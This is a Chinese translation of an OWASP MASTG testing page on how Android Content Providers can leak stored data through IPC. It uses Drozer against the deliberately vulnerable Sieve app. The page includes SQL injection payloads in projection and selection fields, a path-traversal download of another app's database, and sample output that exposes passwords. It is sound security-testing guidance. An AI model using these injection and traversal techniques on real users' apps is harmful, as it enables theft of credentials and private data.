跳过内容

MASTG-TEST-0007: 确定敏感存储数据是否已通过 IPC 机制暴露

此测试即将更新

此测试目前可使用,但将作为新的 OWASP MASTG v2 指南 的一部分进行全面修订。

请通过提交 PR 来帮助我们:MASTG v1->v2 MASTG-TEST-0007:确定敏感存储数据是否通过IPC机制暴露 (android)

发送反馈

概述

静态分析

第一步是查看 AndroidManifest.xml 以检测应用程序暴露的 Content Provider。您可以通过 <provider> 元素来识别 Content Provider。完成以下步骤

  • 确定 export 标记 (android:exported) 的值是否为 "true"。即使不是,如果为该标记定义了 <intent-filter>,该标记也会自动设置为 "true"。如果内容仅供应用程序本身访问,请将 android:exported 设置为 "false"。否则,将标志设置为 "true" 并定义正确的读/写权限。
  • 确定数据是否受到权限标记 (android:permission) 的保护。权限标记限制了对其他应用程序的暴露。
  • 确定 android:protectionLevel 属性的值是否为 signature。此设置表示数据仅供来自同一企业的应用程序(即,使用相同的密钥签名)访问。要使数据可供其他应用程序访问,请使用 <permission> 元素应用安全策略并设置正确的 android:protectionLevel。如果您使用 android:permission,其他应用程序必须在其清单中声明相应的 <uses-permission> 元素才能与您的 Content Provider 交互。您可以使用 android:grantUriPermissions 属性授予其他应用程序更具体的访问权限;您可以使用 <grant-uri-permission> 元素限制访问权限。

检查源代码以了解 Content Provider 的预期使用方式。搜索以下关键字

  • android.content.ContentProvider
  • android.database.Cursor
  • android.database.sqlite
  • .query
  • .update
  • .delete

为避免应用程序中的 SQL 注入攻击,请使用参数化查询方法,例如 queryupdatedelete。确保正确地清理所有方法参数;例如,如果 selection 参数由连接的用户输入组成,则可能导致 SQL 注入。

如果您暴露了一个 Content Provider,请确定是否正在使用参数化的 query 方法queryupdatedelete)来防止 SQL 注入。如果是,请确保所有参数都经过适当的清理。

我们将使用易受攻击的密码管理器应用程序 Sieve 作为易受攻击的 Content Provider 的示例。

检查 Android Manifest

识别所有定义的 <provider> 元素

<provider
      android:authorities="com.mwr.example.sieve.DBContentProvider"
      android:exported="true"
      android:multiprocess="true"
      android:name=".DBContentProvider">
    <path-permission
          android:path="/Keys"
          android:readPermission="com.mwr.example.sieve.READ_KEYS"
          android:writePermission="com.mwr.example.sieve.WRITE_KEYS"
     />
</provider>
<provider
      android:authorities="com.mwr.example.sieve.FileBackupProvider"
      android:exported="true"
      android:multiprocess="true"
      android:name=".FileBackupProvider"
/>

如上面的 AndroidManifest.xml 所示,该应用程序导出了两个 Content Provider。请注意,一个路径 ("/Keys") 受读写权限的保护。

检查源代码

检查 DBContentProvider.java 文件中的 query 函数,以确定是否泄露了任何敏感信息

Java 示例

public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) {
    final int match = this.sUriMatcher.match(uri);
    final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
    if (match >= 100 && match < 200) {
        sqLiteQueryBuilder.setTables("Passwords");
    }
    else if (match >= 200) {
        sqLiteQueryBuilder.setTables("Key");
    }
    return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);
}

Kotlin 示例

fun query(uri: Uri?, array: Array<String?>?, s: String?, array2: Array<String?>?, s2: String?): Cursor {
        val match: Int = this.sUriMatcher.match(uri)
        val sqLiteQueryBuilder = SQLiteQueryBuilder()
        if (match >= 100 && match < 200) {
            sqLiteQueryBuilder.tables = "Passwords"
        } else if (match >= 200) {
            sqLiteQueryBuilder.tables = "Key"
        }
        return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2)
    }

在这里我们看到实际上有两个路径,"/Keys" 和 "/Passwords",后者在清单中未受到保护,因此容易受到攻击。

访问 URI 时,查询语句返回所有密码和路径 Passwords/。我们将在“动态分析”部分中对此进行说明,并显示所需的精确 URI。

动态分析

测试 Content Provider

要动态分析应用程序的 Content Provider,首先枚举攻击面:将应用程序的软件包名称传递给 Drozer 模块 app.provider.info

dz> run app.provider.info -a com.mwr.example.sieve
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

在此示例中,导出了两个 Content Provider。除了 DBContentProvider 中的 /Keys 路径之外,都可以无需权限即可访问。有了这些信息,您可以重建 Content URI 的一部分以访问 DBContentProvider(URI 以 content:// 开头)。

要识别应用程序中的 Content Provider URI,请使用 Drozer 的 scanner.provider.finduris 模块。此模块以多种方式猜测路径并确定可访问的 Content URI

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

获得可访问的 Content Provider 列表后,尝试使用 app.provider.query 模块从每个提供程序中提取数据

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: [email protected]

您还可以使用 Drozer 从易受攻击的 Content Provider 中插入、更新和删除记录

  • 插入记录
dz> run app.provider.insert content://com.vulnerable.im/messages
                --string date 1331763850325
                --string type 0
                --integer _id 7
  • 更新记录
dz> run app.provider.update content://settings/secure
                --selection "name=?"
                --selection-args assisted_gps_enabled
                --integer value 0
  • 删除记录
dz> run app.provider.delete content://settings/secure
                --selection "name=?"
                --selection-args my_setting

Content Provider 中的 SQL 注入

Android 平台提倡使用 SQLite 数据库来存储用户数据。由于这些数据库基于 SQL,因此它们可能容易受到 SQL 注入的攻击。您可以使用 Drozer 模块 app.provider.query,通过操纵传递给 Content Provider 的 projection 和 selection 字段来测试 SQL 注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

如果应用程序容易受到 SQL 注入的攻击,它将返回详细的错误消息。 Android 上的 SQL 注入可用于修改或查询来自易受攻击的 Content Provider 的数据。在以下示例中,Drozer 模块 app.provider.query 用于列出所有数据库表

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
| table | Key              | Key              | 5        | CREATE TABLE ... |

SQL 注入也可用于从其他受保护的表中检索数据

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |

您可以使用 scanner.provider.injection 模块自动执行这些步骤,该模块会自动在应用程序中查找易受攻击的 Content Provider

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

基于文件系统的 Content Provider

Content Provider 可以提供对底层文件系统的访问权限。这允许应用程序共享文件(Android 沙箱通常会阻止这种情况)。您可以使用 Drozer 模块 app.provider.readapp.provider.download 分别从导出的基于文件的 Content Provider 中读取和下载文件。这些 Content Provider 容易受到目录遍历的影响,这允许读取目标应用程序沙箱中其他受保护的文件。

dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db
Written 24488 bytes

使用 scanner.provider.traversal 模块来自动执行查找容易受到目录遍历影响的 Content Provider 的过程

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

请注意,adb 也可用于查询 Content Provider

$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test
...